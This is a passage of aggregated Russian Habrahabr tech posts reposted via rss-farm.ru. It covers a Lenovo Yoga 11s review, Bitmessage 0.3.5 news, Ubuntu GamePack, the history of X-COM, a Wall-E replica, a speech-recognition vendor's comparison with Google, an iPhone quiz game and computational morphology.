P.S.: Компания CloudStore, которая владеет брендами Get-console, Airconsole, Private Server новозеландская. Основатель — Simon Hope, имеет сертификацию CCIE. Доставка донглов осуществляется силами компании FEDEX. Ко мне посылка пришла за 4 дня.

В следующем посте подробно расскажу о Private Server — сервисе, позволяющем иметь доступ к консоли приложения Get-console for iOS через WEB-интерфейс Сервера, установленного у вас.

Всем удачи.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Обзор ультрабука-трансформера Lenovo IdeaPad Yoga 11s

Ультрабуки стали настолько привычной вещью, что покупателей стало сложно привлечь уменьшением размеров устройства. Приходится выдумывать что-то поинтереснее — стали делать трансформеры. По этому пути пошла компания Lenovo с линейкой Yoga. Один из них мы рассмотрим сегодня: это Yoga 11S с откидывающимся на 360 градусов сенсорным экраном и Windows 8 Pro на борту.

Характеристики

Процессор: 2-ядерный Intel Core i7 1500 МГц
RAM: DDR3L 8G 1600 МГц
SSD: 256GB
Экран: глянцевый мультитач (до 10 точек) 11,6” HD LED TS
Видео: Intel HD Graphics 4000
Веб-камера: 1 Мегапиксель
Батарея: Li-Polymer 2840 мАч
Вес: 1,39 кг
Длина х ширина х толщина (мм) – 297 х 204 х 17
Представлен в двух расцветках — оранжевый и серебристый.
Стоимость на Яндекс.маркет: 43 800 … 58 145 рублей.

image

Упаковка и комплектация

Ультрабук мне привезли в огромной невзрачной картонной упаковке, в которую мог бы поместиться мой старый 15,6” ноутбук. Внутри – чёрная коробка, гораздо, как говорится, более лучшая. Здоровенная упаковка позволяет защитить внутреннюю коробку от повреждений — особенно это важно, если кто додумается пересылать Yoga по Почте России.

image

image

В комплекте идут блок питания, провод и инструкция. В ней даже объяснили, как правильно держать спину во время работы.

image

Блок питания — миниатюрный, практически ничего не весит.

image

image

Ультрабук выглядит стильно – металлический корпус покрыт матовым напылением. Приятнее всего – тактильные ощущения от бархатистой поверхности снаружи и внутри. Yoga твёрдо стоит на поверхности, не елозит. Корпус тонкий, но не заострённый – хлеб им порезать не получится. И он на удивление мало похож на продукцию другого известного производителя, которой как раз и любят что-то резать.

image

Клавиатура островного типа, грамотная, без лишних клавиш и с правильным расположением и размером имеющихся. Традиционного для Lenovo джойстика нет.

image

Yoga оборудован HDMI, по одному разъёму USB 2.0 и USB 3.0, слотом для SD, одним combo гнездом для наушников с микрофоном.

image

image

Корпус добротный, никаких люфтов я не обнаружил. Дисплей откидывается плавно, особенного усилия прикладывать не надо, но при этом болтаться он не будет.

image

Ультрабук включается практически мгновенно. Греется несильно, но в обычном положении держать на коленях долго не советую — всё равно жарко будет. По поводу шума: кулер можно услышать только в том случае, если вы устройство приложите к уху и вокруг при этом будет тихо.

Звук

Два встроенных динамика (видно на фото выше на боковых гранях) и интегрированная система Dolby Home Theater v4 делают просмотр фильмов приятным — звук объемный, хрипов нет. Я ожидал меньшего.

Управление

Клавиатура на удивление удобная. Чаще всего мне требуется время, чтобы привыкнуть к новому устройству. На этот раз я принялся за работу мгновенно, а через пару часов заметил, что русских обозначений на моей клавиатуре нет вовсе. Единственное, что слегка смутило – отсутствие скролла на тачпаде, пришлось привыкать пролистывать с помощью дисплея.

image

Пользоваться устройством при повёрнутом на 360 градусов дисплее удобно для просмотра ленты в социальных сетях, но с набором текста будут проблемы – если только не положить Yoga на колени. На весу можно держать его только двумя руками, и то недолго – это всё-таки 1,4 кг. Непривычно ощущение клавиатуры на задней стороне.

image

Положение «стенд» — на мой взгляд, наиболее удобное для работы, если нет необходимости набирать большое количество текста.

image

Я часто на мероприятиях должен отправлять посты в Facebook и дикое количество твитов. Какую-то часть этой работы я могу делать с помощью смартфона, но кое-что удобнее с ноутбука. В случае с Yoga мне понадобится только одно устройство, позволяющее в любой момент поработать на нормальной клавиатуре, а всё остальное время пользоваться дисплеем.

Дисплей

Дисплей 11” дюймов поддерживает до 10 одноврменных касаний. Разрешение — 1366 х 768 пикселей. Угол обзора — 180 градусов. Над ним расположена камера в 1 Мегапиксель. Важное преимущество Yoga — дисплей откидывается на 360 градусов, так что отломать его таким образом не получится. Я вообще, честно говоря, не знаю, как можно его отломать.

image

Автономная работа

Ещё одна важная составляющая работы где бы то ни было для меня – это необходимость как можно реже заряжать устройство. Батареи хватило на четыре часа просмотра видео и параллельного серфинга в сети.

Бенчмарк GeekBench



image

Итог

Одновременно достоинством и недостатком является вес: 1,4 кг для ноутбука — отлично, но слишком много для планшета. Фотографировать в режиме планшета, как это привыкли делать владельцы iPad’ов, не получится — на клавиатуре камеры нет.

Удобно ставить на колени «стендом» или на живот «домиком» (если вы лежите)… Дисплей хорошо отзывается на прикосновения, клавиатура мягко пружинит. Включается он мгновенно, работает шустро. Работать – приятно и удобно.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Bitmessage 0.3.5: Что нового?



Крипто мессенджер Bitmessage продолжает свое активное развитие, новая версия принесла следующие функции:
  • Поддержка русского языка
  • Полностью анонимные децентрализованные чаты
  • Огромное количество баг-фиксов

Bitmessage — приложение которое позволяет обмениваться сообщениями между двумя людьми или в режиме чата, по желанию пользователя он может как идентифицировать себя (отправляя сообщения от своего адреса) так и не делать этого — оставаясь анонимным.

Особенность данного мессенджера такова, что факт общения двух пользователей практически невозможно доказать, из-за не прямой передачи сообщения от пользователя А к Б, а рассылкой его всем участникам сети, конечно, прочитать его может только верный пользователь.

Чаты — Chans

Ранее, в качестве чатов использовался специальный адрес, все сообщения поступающие на него рассылались подписчикам, минус такого подхода был в том, что при выключении компьютера на котором зарегистрирован данный адрес — чат переставал существовать.

Теперь же, чаты работают по принципу полной децентрализации, для подключения к чату вы должны знать его адрес и пароль, отправлять сообщения в чат можно как от вашего личного адреса, так и анонимно, от общего.

Предложения

На форуме проекта начался сбор идей и предложений по доработке клиента, сейчас обсуждаются следующие предложения:

Кроме того...

— Был запущен сервис bitmsg.me/ который позволяет отправлять и приминать сообщения в сеть Bitmessage с помощью браузера (конечно это не безопасно и не очень анонимное, но позволяет проверить работу сети Bitmessage)



— Новый проект BMF (Bitmessage Forum) который позволяет работать с вашим локальным клиентом Bitmessage через браузер (требуется установка сервера BMF)

image
image

— Аналог Твиттера в сети Bitmessage bitchirp.org



Любое отправленное сообщение в Chan BM-2D7yBNF87Msi8M3hZr3eop6Fd1ENPAzPoi (кодовое слово BitChirp) будет отправлено всем подписчикам и появится на сайте проекта

Появился не официальный .DMG образ скомпилированного клиента Bitmessage для Mac OS X

Официальный сайт проекта
Официальный форум
Changelog

Скачать:

Для пользователей Хабра был создан свой Chan BM-2D7WDz4MiUyxAGSn3QN37tANffKoDeFNef кодовое слово habrahabr (Как подключится)

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Доступен для загрузки Ubuntu GamePack 13.04 — платформа для запуска Linux- и Windows-игр

Доступна для загрузки специализированная сборка Ubuntu GamePack 13.04 — операционная система на базе Ubuntu, которая обеспечит гарантированный запуск более чем 1 420 игр, как оригинальных, разработанных специально для платформы GNU/Linux, так и значительного количества игр для MS Windows.

Данный дистрибутив создан на базе Ubuntu OEM 13.04.
В GamePack добавлено:

? три системы доставки игр и приложений через интернет:
— Steam — сервис цифрового распространения компьютерных игр и программ. (более 140 игр)
— Desura — платформа цифровой дистрибуции для загрузки и установки игр, а также модификаций к ним. (более 320 игр)
— Djl — менеджер игр. Это открытая альтернатива таким системам как Steam u Desura. (более 120 игр)



? Для запуска игр, изначально поставляемых для платформы Windows из коробки доступны:
— PlayOnLinux — приложение обеспечивающее гарантированную работу более 600 Windows-игр
— WINE — приложение позволяющее запускать Windows-игры. Количество запускаемых Windows-игр в этом приложении зависит только от вашего умения их запускать.

image

? в дистрибутив включена поддержка Java, что позволит без особых проблем запускать большое количество online-игр.

? дистрибутив уже подключен к репозиторию с большой коллекцией игр различного жанра. (более 340 игр)



Узнать более детально о дистрибутиве и загрузить его можно здесь
или с торрентов:
nnm-club.me (требует регистрацию)
rutracker.org (требует регистрацию)
rutor.org (без регистрации)

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Перевод] История создания X-COM: Enemy Unknown (1993)

В прошлом году вышел ремейк игры 1993 года XCOM: Enemy Unknown на PC, MAC, XBox 360 и Playstation 3, а в июне этого года ещё и на iPhone и iPad. Историю её создания можно проследить со времени появления первого поколения домашних компьютеров, которое совпало с пиком популярности стратегических и ролевых настольных игр. Почти для любого военного конфликта в истории человечества существовала соответствующая военная игра, а игры в жанре фэнтези выходили далеко за рамки ролевой игры «Dungeons & Dragons»: были также и приключения в глубоком космосе, такие как «Traveller» и даже игры, главными героями которых были адаптированные персонажи литературных произведений, такие как, например, «John Carter of Mars» из книги Эдгара Райза Бэрроуза. Перенос таких игр на компьютерный экран был лишь вопросом времени.



Первыми это смогли сделать американцы, вооружённые HEX-картами, но многие жители Великобритании впервые познакомились с компьютерными стратегиями, автором которых был Джулиан Голлоп (Julian Gollop). До того, как создать принесшие ему в 1984 году известность и славу игры «Chaos» и «Rebelstar Raiders», он работал над дизайном двух игр в компании Redshift, затем участвовал в разработке третьей, под названием «Nebula». Затем Джулиан вместе со своим братом Ником основал компанию Blade Software, вдвоем они работали над вышедшей в 1988 году игрой «Laser Squad», которая с успехом развила идею пошаговой фантастической стратегии «Rebelstar».



Военные стратегии стали для Голлопов если не основным, то, по крайней мере, очень прибыльным направлением деятельности. Причём настолько прибыльным, что после успеха «Laser Squad» и их следующей игры «Lords Of Chaos» братья почти полностью переключились на управление своим бизнесом. Но когда пришло время начинать работу над продолжением игры «Laser Squad», они решили сосредоточить свои усилия на разработке.

Помню время, когда наш офис был завален стопками комплектов расширений для «Laser Squad» и горами коробок, работать приходилось в тесноте и не самых комфортных условиях, – вспоминает Голлоп, – наш бизнес развивался довольно неплохо, но мы хотели выйти на мировой уровень, поэтому нам нужно было сотрудничество с крупным издателем компьютерных игр.
В 1991 братья, вооружившись начальной демо-версией игры «Laser Squad 2», которая впоследствии стала «X-COM: Enemy Unknown», обращались в Krisalis, Domark и в конце концов – в MicroProse. Последняя компания их привлекала больше всего, так как у неё был ценный опыт работы с Сидом Мейером (Sid Meier) и его стратегией «Civilization».



Мы были очень рады заключению первого контракта с MicroProse, но переживали за то, какие условия нам предложат. В начале у нас были некоторые разногласия, потому что они не понимали придуманной мной концепции игры. Они не могли представить, как будет выглядеть сам процесс игры. Мне стоило немалых усилий объяснить им это, мне пришлось разработать ещё несколько документов и посетить крупное совещание с их штатными дизайнерами, продюсерами и главой отдела разработки, – говорит Голлоп.
Первоначальная демо-версия представляла собой довольно незамысловатую тактическую игру для двух игроков. В MicroProse братьев попросили перенести место действия игры на Землю и более детально разработать первоначальную концепцию так, чтобы она не выпадала из общего русла стратегических игр компании. «Это побудило меня добавить стратегическую составляющую в сюжет, которая заключалась в том, что на Землю напали инопланетяне, а чтобы победить их, нужно захватить и изучить инопланетные технологии. Во многих отношениях это была довольно нестандартная концепция, но реализовать её мы старались с таким размахом, чтобы она могла на равных конкурировать с концепцией «Civilization». По сути, «дерево исследований и технологий» в какой-то мере выполняет роль, подобную роли прогресса в «Civilization», но в то же время оно помогало в развитии сюжета.»



«На мысль об организации, занимающейся такого рода деятельностью, натолкнула организация SHADO (Главное управление по борьбе с инопланетной угрозой) из телесериала «НЛО» (UFO) режиссёра Джерри Андерсона (Gerry Anderson), а также книга Тимоти Гуда (Timothy Good) «Контакт с пришельцами» (Alien Liaison). «После её прочтения у меня появилось осознание того, что я на правильном пути. От всей этой ситуации с заговором пришельцев, а также их способности подчинять своей воле, описанной автором, у меня мурашки по коже бегут, – говорит Голлоп, – Эта книга рассказывала о некоторых из предполагаемых попыток правительства США захватить и воспроизвести инопланетные технологии и даже заключить своего рода тайные сделки с пришельцами. Всё это так или иначе нашло своё отражение в игре.»

Несмотря на это, игра по своей сути всё-таки продолжала традицию пошаговой военной стратегии, начатую в играх «Laser Squad» и «Rebelstar». Хотя используемая система искусственного интеллекта была основана на предыдущих играх, Голлопы усовершенствовали и доработали свои собственные алгоритмы для принципов перемещения и поведения персонажей.

Мы сделали так, чтобы в поведении искусственного интеллекта всегда был некий элемент непредсказуемости и это часто приводило к тому, что он казался более разумным, чем на самом деле.
Голлоп вспоминает последние два месяца разработки игры, январь и февраль 1994 года, как особо трудный и напряжённый период времени. После переезда на новое место работы в филиал MicroProse в Чиппинг-Содбери семидневная рабочая неделя и 12-часовой рабочий день стали нормой. «Мы приехали в MicroProse, чтобы завершить работу над игрой на её территории, при этом на руках у нас было то, что игрой можно было назвать только с большой натяжкой, – признаётся Голлоп, – Нам нужно было одновременно закончить и работу над программным кодом и тестирование, поэтому изменения вносили до самого последнего момента. Конечно, это неправильно, и если бы нам дали ещё пару месяцев на тестирование и отладку без кардинальных изменений кода, игра была бы ещё лучше, причём существенно.»

«Это просто чудо, что всё закончилось настолько благополучно, хотя один баг слегка раздражал: изменение уровня сложности ничего не меняло. При сохранении и перезагрузке игры сложность автоматически возвращалась к минимальной. Но серьёзной проблемы это собой не представляло, потому что в самой игре использовались механизмы уравновешивания, благодаря которым пройти её было далеко не просто. Ещё один баг заключался в том, что солдаты могли приобретать сверхчеловеческие способности, – иногда доходило до того, что эти способности превышали все допустимые значения и сбрасывались до нуля, в один миг делая супермена совершенно бесполезным.»



Учитывая финансовые трудности, которые были у MicroProse перед её поглощением компанией Spectrum Holobyte, даже сам факт того, что игра вообще поступила в продажу, – уже чудо. «Мы были абсолютно не в курсе проблем MicroProse и только позднее узнали, что пару раз наш проект чуть не законсервировали. Нас, конечно, волновало поглощение компанией Spectrum Holobyte, но наш продюсер постоянно заверял, что всё будет в порядке. Мы также практически ничего не знали о том, что Spectrum Holobyte наша игра не нравилась в принципе. На тот момент уже шло тестирование и нашей группе по обеспечению качества пришлось вести активную борьбу за сохранение проекта.»

Игра приобрела широкую популярность, было продано более 600 тысяч её экземпляров, причём это только для ПК (а ведь выпускались ещё и версии для Amiga, CDTV, CD32 и даже PlayStation). Половина продаж приходилась на США, что в то время было редкостью для игры, созданной в Европе. Голлоп считает, что большую роль в этом сыграло название: тогда как европейская версия первоначально называлась «UFO: Enemy Unknown», название американской версии звучало, как «X-COM: UFO Defense». «Думаю, что в какой-то мере успеху игры X-COM:Enemy Unknown способствовал выход телесериала «Секретные материалы» (X-Files) за год до её появления. Хотя на тот момент мы ещё не смотрели «Секретные материалы», в игре мы обращались к той же теме об НЛО, что и сериал, и это задело американцев за живое.»



Настоящие неприятности начались после радости от успеха первой игры X-COM. «Как только в MicroProse осознали, что у них в руках денежный станок, они захотели продолжения и большего влияния на проект. У нас было ощущение, что мы потеряли контроль над своим творением.» MicroProse получила лицензию на программный код, чтобы выпустить продолжение игры под названием X-COM: Terror From The Deep, а Голлопы работали над последней частью, X-COM: Apocalypse, после чего они оставили работу над этой игровой серией. Основав Mythos Games, они выпустили игру «Magic & Mayhem», но уже следующая игра столкнулась с противодействием другой компании-издателя. Mythos закрылась, а Голлопы основали Codo Technologies, выпустили игру Laser Squad с управлением по электронной почте и использовали новые способы её распостранения.

«Мы поняли, что вполне можем с минимальными затратами издавать и распространять Laser Squad Nemesis через Интернет, полагаясь на то, что наши покупатели будут помогать в продаже игры, предлагая сыграть в неё своим друзьям и другим людям, которые не являются нашими подписчиками, – объясняет Голлоп, – Сегодня это называется «вирусный маркетинг», но по сути это просто сарафанное радио в Интернете». В 2005 году, уже после Laser Squad Nemesis, Голлопы выпустили Rebelstar: Tactical Command для Nintendo GBA, но в работе над их самой любимой стратегической игрой они больше не участвовали. А тем временем X-COM продолжает жить своей жизнью. Её оригинальные версии можно купить на таких сервисах, как Steam и Direct2Drive. А сейчас Firaxis вернула к жизни неимоверно сложный, но при этом приносящий огромное удовлетворение дух оригинала, выпустив в прошлом году римейк игры – не забывайте, что с 2005 года права на X-COM принадлежат издателю Take Two. Как бы то ни было, но её первоначальная версия не только задала тон другим играм своего поколения, но и до сих пор не растеряла своих ценителей.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Робота Wall-E воссоздали в реальности



Несмотря на обилие разного рода копий мультяшного робота Wall-E в реальной жизни (достаточно посмотреть некоторые товары для детей в магазинах игрушек), по-настоящему схожих моделей практически нет. Но теперь миллионы детишек и просто поклонников творчества Pixar (да и любители робототехники тоже) могут быть довольны. Маленького робота-мусорщика воспроизвели в реальности с максимальной точностью. Правда, робот получился без «души», то есть та версия, которая в мультике работала после замены микросхемы, помните? К сожалению, реальный робот неспособен на нежные чувства.

Тем не менее, копия получилась настолько реалистичной, что остается только удивляться. С другой стороны, работа над проектом велась долгое время, а руки у мастера (Michael McMaster) и его друзей очень ровные, так что все получилось идеально.

По словам разработчиков, им очень помогла Blu-Ray версия мультика, где можно найти любую мелочь, и перенести эту мелочь (например, царапины и ржавчину) на реальный объект. Кроме внешнего вида, Wall-E еще и действует, и «говорит» так, как все мы привыкли (по мультику, конечно же). Мелодии, звуки — все это загружено в память робота, точно такое, как было в мультфильме.


Via theverge

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Метрика #17 — Подкаст о технологиях и проектировании интерфейсов и сервисов

Всем привет! С вами «Метрика» — шоу для тех, кто создает и анализирует продукты и , проектирует и руководит, занимается бизнесом и любит новые технологии.

Сегодня в программе

В 17-м выпуске Метрики вместе с Юрием Ветровым (jvetrau), являющимся руководителем одной из наиболее крупных рабочих групп по UX в Mail.ru, мы продолжаем обсуждать iOS 7 — новую ОС для мобильных устройств от Apple.


Предыдущие выпуски (#1, #2, #3, #4, #5, #6, #7, #8, #9,#10, #11, #12, #13, #14, #15, #16).

Заметки

Твиттер Платона
Твиттер Димы
Твиттер Юрия Ветрова
Wiki-страничка iOS 7 с краткой историей и описанием функционала
Обзор основных новинок в iOS 7 от Apple
Обзор от ReadWrite.com (шрифты, иконки, жесты, меню и др.)
Официальный портал для разработчиков
Временная копия Transition Guide на SlideShare
Заметки по бета-версиям iOS 7 от CultForMac
Заметки по бета-версиям iOS 7 от GottaBeMobile
О приложениях, которые «убили» Apple, от CultForMac
Статья от AppleInsider о новом почтовом приложении на iOS 7
Обзор жестов от iMore
Обзор жестов от GottaBeMobile
Подборка полезной информации по iOS 7 от iMore
Статья об аффордансах

Слушать подкаст
Скачать подкаст

Метрика в iTunes Store

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Риски использования распознавания речи от Google в своих бизнес проектах

Всем привет.

По мотивам статьи «Самообслуживание клиентов с помощью google ASR»
Хотел бы вам рассказать, какие есть риски для бизнеса при использовании распознавания речи от Google для своего call-центра.

Я представляю компанию «Центр речевых технологий» (ЦРТ) и мы занимаемся технологиями синтеза и распознавания русской речи и в первую очередь, как раз делаем решения по автоматизации call-центров.
Речевыми технологиями мы занимаемся уже на протяжении 20 лет. Сейчас над этим трудится порядка 70-80 ученых и программистов, плюс нам помогают речевые кафедры ведущих ВУЗов страны, плюс у нас есть собственная кафедра речевых технологий в ИТМО — растим своих молодых ученых.

И в этом посте я проведу параллели между распознаванием речи от ЦРТ и Google, относительно применения его в корпоративном секторе (call — центры).

Наши технологии (ЦРТ и Google) неоднократно сравнивают на разных встречах и выступлениях, задают провокационные вопросы об этом, и у нас на них уже выработались заготовленные ответы.

Но сперва я бы хотел признать, что распознавание речи от Google работает очень хорошо. Но это не значит, что распознавание от ЦРТ работает хуже. Можете убедиться в этом сами: видео.

Еще важный момент: в корпоративном секторе качество распознавания речи играет не самую главную роль, есть множество других факторов, которые необходимо принимать в расчет. О них я и расскажу ниже.

На чем основана технология распознавание речи?
Это — обработка тысяч, миллионов, а в случае с Google, и миллиардов реальных слов и выражений, которые люди употребляют при построении своих фраз.
Где Google берет базу для своего распознавания? Все очень просто – это поисковая строка Google, т.е. они могут распознавать все, что когда-либо люди писали в поисковой строке.
Это называется распознавание по общей языковой модели, т.е. разговор обо всем сразу на любую тему и использование стандартных разговорных слов и выражений.
Например, Google легко и без ошибок распознает такие фразы, как: «Какая сейчас погода?», «Где находится Берингов пролив», «Какой курс валюты» — все это когда-то и много раз люди спрашивали у Google.

Отличие первое — Качество распознавания.
Google не сможет распознать речь, относящуюся к узкой специфической тематике.
Распознавание Google вообще специально не обучаемо под ваши словари. Например, фраза «37 см выше Z-линии по отношению к Х-оси» — это реальная фраза из проекта, которую Google не распознает правильно, потому что люди такое в повседневной речи не используют, а здесь еще и смешанные алфавиты.

Мы (ЦРТ) сами создаем свое распознавание речи, и мы можем его обучать на любые темы, вносить всевозможные правки и настройки. У нас и у клиента, при создании голосовых меню, есть все инструменты, что бы распознавание работало так, как надо, а не так как это кем-то сделано, без возможности на это влиять.

Простой пример: слова «банк» и «панк» очень похожи, но при звонке в call-центр банка, вероятность того, что кто-то скажет слово «панк» очень мала. Поэтому этого слова даже нет в базе, что существенно повышает качество распознавания. Когда человека слышно плохо (большие шумы, плохая дикция, помехи связи и т.д.) то система должна угадывать, что именно говорит абонент. В этом случае использование ограниченной словарной базы существенно повышает качество распознавания. Это более надежно чем гадать, какое из 1000 похожих слов имел в виду абонент. Ведь наша задача — решить вопрос клиента, а не продемонстрировать крутизну распознавания. Если что-то можно сделать проще – надо делать проще, это всегда надежней.

Еще два момента, один важный, другой не очень в контексте применения в call-центрах.

Важный.
Google за качество своего распознавания не отвечает, т.е. если он распознает не верно, то в этом никто не виноват. Он вам ничего не должен и ничего вам не гарантировал. Хотите – пользуйтесь, хотите – нет.

ЦРТ за качество своего распознавания отвечает по договору. Именно за это платят деньги клиенты – за результат. Если что либо не распознается, значит, мы это будем допиливать до тех пор, пока это не будет распознаваться – помните, у нас есть целый научный департамент.

Не очень важный момент в данном случае.
Google распознает отрезки по 15 сек речи.
В ЦРТ работает потоковое слитное распознавание без ограничений на время зачитывания – хоть всю книжку зачитайте сразу.

Отличие второе — Каналы связи.
Все распознавание Google работает через Интернет. Нет интернета – нет распознавания – ваша система не работает. Бизнес встал. Это реальный риск проекта.
Сюда же можно отнести и поломку сетевого оборудования, потери пакетов, отключение интернета за неуплату и все, что с этим связано.
Решения ЦРТ работают локально, на сервере, который стоит рядом и жужжит. Все такое свое и родное – многие меня поймут.

Отличие третье — Договорные отношения.
С Google нельзя заключить юридический договор на предоставление услуг по распознаванию речи. Они вообще распознавание не предоставляют официально. Официально его можно прикрутить только к мобильным приложениям. Любые попытки его прикрутить к своему call-центру – это риск для бизнеса, работа через «черный ход».
В любой момент они могут прикрыть эту лазейку, что неоднократно уже было с другими проектами.
Скажу даже больше – делать коммерческие проекты на основе распознавания Google в call-центровой теме не законно (если быть до конца честным).

Отличие четвертое – Техническая поддержка.
В Google вы не получите техническую поддержку по распознаванию речи, которое прикручено к вашему call-центру. Если что-то будет не работать, вы вообще никуда не сможете позвонить и пожаловаться. Особенно, если это Asterisk и вы все смастерили сами (как бы я сам лично к Asterisk хорошо не относился).
В ЦРТ техническая поддержка работает 24Х7Х365 с выездом к заказчику. В договоре вы можете прописать любые условия SLA (разумные, конечно).

Отличие пятое – Безопасность.
Все, что распознает Google, распознается на серверах в другой стране мира. Здесь и несоблюдение защиты персональных данных, и все остальное связанное с этой темой. Ни один банк или медицинское учреждение не пойдут на это.
Решение от ЦРТ – локально и работает в том сегменте сети, где вы указали. В Интернете ему делать нечего.

К чему я это все написал?
Многие заказчики, кто к нам обращались, неоднократно ссылались на то, что Google отлично распознает и вообще бесплатный. Это действительно так.
Но самое ли это важное для надежной работы бизнеса?
Это ваш выбор и это ваши риски.
Ну, может быть, конечно, не именно лично ваши, но вашего руководителя точно.

P.S. Кстати, не могу сказать, что наше распознавание очень дорогое. Оно на 30% меньше стоимости аналогичных предложений зарубежных разработчиков.
+ у нас есть специальные цены для Asterisk-разработчиков.
+ у нас есть облачные технологии, т.е. аренда ресурсов ASR и TTS (удаленный доступ).

В свое время мы активно занимались как раз сотрудничеством с Asterisk-разработчиками и ориентировались на малый и средний бизнес КЦ.
По поводу интеграции с Asterisk нами было написано немало инструкций/документации: здесь.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Викторина из IRC-чатов под iPhone

Многие помнят те времена, когда люди не пользовались Скайпом и ICQ, а сидели в IRC-чатах. Тогда очень популярны были каналы с ботом «Викторина», где всегда можно было посидеть, поугадывать слова и посоревноваться с друзьями в эрудированности.

image

Времена идут, а игра до сих пор популярна, но в былом представлении она устарела из-за того, что с чатов уже давно все перешли на месседжеры. Эту проблему мы решили исправить в своем внутреннем подразделении e-Legion Labs, создав версию «Викторины» под iPhone.

image
Скачать. Игра бесплатная.


Викторина IRC бесплатная и рассчитана на мультиплеер, то есть соревноваться вы будете с реальными игроками. Поэтому при входе вас попросят зарегистрироваться с помощью почты или социальной сети (Fb, Twi, Vk).

Концепция игры схожа с покером, только вместо карточных раздач у вас будут раунды с угадыванием слов. В каждом раунде все игроки в комнате скидывают в общий банк 1, 20 или 50 монет, в зависимости от выбранной ставки. Тот, кто быстрее остальных правильно отвечает на вопрос — забирает весь банк и поднимается в рейтинге.

image

Каждому игроку после регистрации дается 555 монет, что при игре на самых маленьких ставках хватит на 555 вопросов (в случае если вы не будете давать правильные ответы). Если монеты закончатся, их можно докупить за реальные деньги — 1000 монет за 33 рубля, 3000 за 66, 10000 за 99.

image

В «Викторине IRC» есть три режима игры:

  1. Обычная игра. Комната с общим чатом со случайными игроками.
  2. Стелс игра. Для тех, кому «разговорчики» мешают и кто сосредоточен на игре. Дополнительным бонусом этой игры является периодические вопросы-изображения вместо текстовых вопросов.
  3. Игра с друзьями. Комната, в которой можно посоревноваться в тесном кругу друзей без случайных пользователей. Настройка приватности/публичности комнаты позволит подключаться случайным игрокам к вашей комнате, но для вас с друзьями там всегда будет место.

image
(кликабельно)

Всего в базе 140 тысяч вопросов из разных областей знаний различного уровня сложности.
В скором времени будет выпущены версии для iPad и Android-устройств.

В следующих статьях расскажем о процессе разработки + поделимся цифрами, сколько людей скачали игру после публикации на Хабре :)

image
Еще раз ссылка на скачивание. Будем рады любому фидбеку.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Роль морфологии в компьютерной лингвистике

Содержание цикла статей про морфологиюМорфология и компьютерная лингвистика для самых маленьких
Роль морфологии в компьютерной лингвистике
• Морфология. Задачи и подходы к их решению
• Псевдолемматизация, композиты и прочие странные словечки
Раньше автоматический перевод работал следующим образом:
  1. Анализировал формы слов в исходном предложении;
  2. Пытался подобрать одну из синтаксических схем исходного языка, в которую подошло бы предложение с найденными формами;
  3. Находил соответствующую синтаксическую схему для целевого языка;
  4. Находил перевод для каждой из словоформ в исходном предложении;
  5. Слова-переводы ставил в форму, необходимую для целевой синтаксической схемы.
Современные технологии пытаются пойти дальше.
Они пытаются объяснить значение каждого слова в предложении, поднимаясь в пирамидке на рисунке на уровень семантики. Это помогает уточнить перевод, так как отметаются гипотезы, в которых не согласуется семантика отдельных слов. Кроме того, из семантических соображений некоторые синтаксические правила могут быть применимы не для всех слов языка. А также семантика в некоторой мере позволяет избавиться от омонимии.

Например:
  • Standard steel helmets were painted matt greenish-grey. -> Шлемы из стандартной стали были окрашены в матово-зеленовато-серый.
  • Konstantin Somov painted this exquisite still-life in 1923. -> Константин Сомов написал этот изысканный натюрморт в 1923 году.
Конечной целью такого процесса является понимание смысла текста. Тем не менее, в нашей пирамиде между значением и смыслом есть целая ступень, которая нами пока не преодолена.

Прагматика языка – это то, как человек относится к тому, что он говорит. Классический пример: «Может ли двойное утверждение означать отрицание?» — «Ну да, конечно!». Здесь за двойным утверждением прячется прагматический слой понимания языка.
Но не будем забегать вперёд, пройдёмся снизу вверх по пирамиде.

Морфология
Базовым уровнем пирамиды понимания текста на естественном языке является морфологический слой. Без знания морфологии языка выше идти очень сложно, как, впрочем, и спускаться вниз. Морфология представляет знание о формах в словаре и об их грамматических значениях.

Синтаксис
Следующий уровень пирамиды – это синтаксис. Синтаксис определяет связь слов в предложении, управление слов, отношения между словами в естественном языке. Синтаксис должен уметь оперировать грамматическими значениями, которые он получает от морфологии. Это те данные, которые поступают к нему снизу вверх (см. схему в начале поста) на этапе анализа текста. Эти же данные он передает на уровень морфологии при синтезе текста, определяя, в какой форме должно быть то или иное слово на целевом языке.

Так происходит перевод. Нам дано предложение на русском языке. Сначала мы его анализируем морфологически, потом синтаксически, потом семантически. После этого семантика определяет синтаксическую форму предложения на целевом языке (к примеру, на английском), синтаксис выстраивает все лексемы в нужные формы, и от морфологии мы получаем непосредственно конкретные формы этих слов.

Семантика
На семантическом уровне задача существенно усложняется. Нам нужно понять, что значат те или иные слова. Морфология работает со словами по отдельности, она берет отдельное слово, – к примеру, «бокра», – и говорит: «Это существительное мужского рода в родительном падеже». Синтаксис смотрит на связь «бокра» с другими словами в предложении. «Будланула бокра» – «бокр» относится к глаголу «будланула» как дополнение.

Но на уровне семантики мы бессильны: мы не знаем, кто такой «бокр», и мы не знаем, что значит «будланула». До недавних пор технология автоматического перевода текста была бессильна даже в тех случаях, которые могут показаться нам очевидными. Она не знает, что прячется за фразой «Do you want a cup of tea?» Может быть, это кубок чая (cup как спортивный кубок), а может быть, всего лишь чашка.

Прагматика
Научить переводчик понимать и отслеживать прагматику еще сложнее, но и в этой области решаются локальные задачи. По большому тексту, например, по нескольким записям в блоге мы пытаемся автоматически понять эмоциональную окраску текста. Если мы научим компьютер понимать не только слова из текста, но и слова, которые автор имел в виду за ними, то можно будет сказать, что мы научили компьютер «читать между строк».

Задачи морфологии

Компьютерную лингвистику можно рассматривать как большое здание, а морфологию – как фундамент здания, решающий конкретные задачи. Ведь в программе это отдельная dll'ка, предоставляющая определенное API, от которой мы хотим получить конкретный результат. Табличка ниже упорядочивает задачи, которые возложены на модуль морфологии.








 Задача Как используется  Получение начальной формы — ЛемматизацияПоиск  Постановка слова в заданную формуАвтоматический перевод
Синтез речи
 Получение всех форм словаПоиск
Базы знаний
Текстовый редактор
OCR
 Грамматическое значениеАвтоматический перевод
OCR
Распознавание речи
 Словарность словаOCR  Исправление словаПоиск
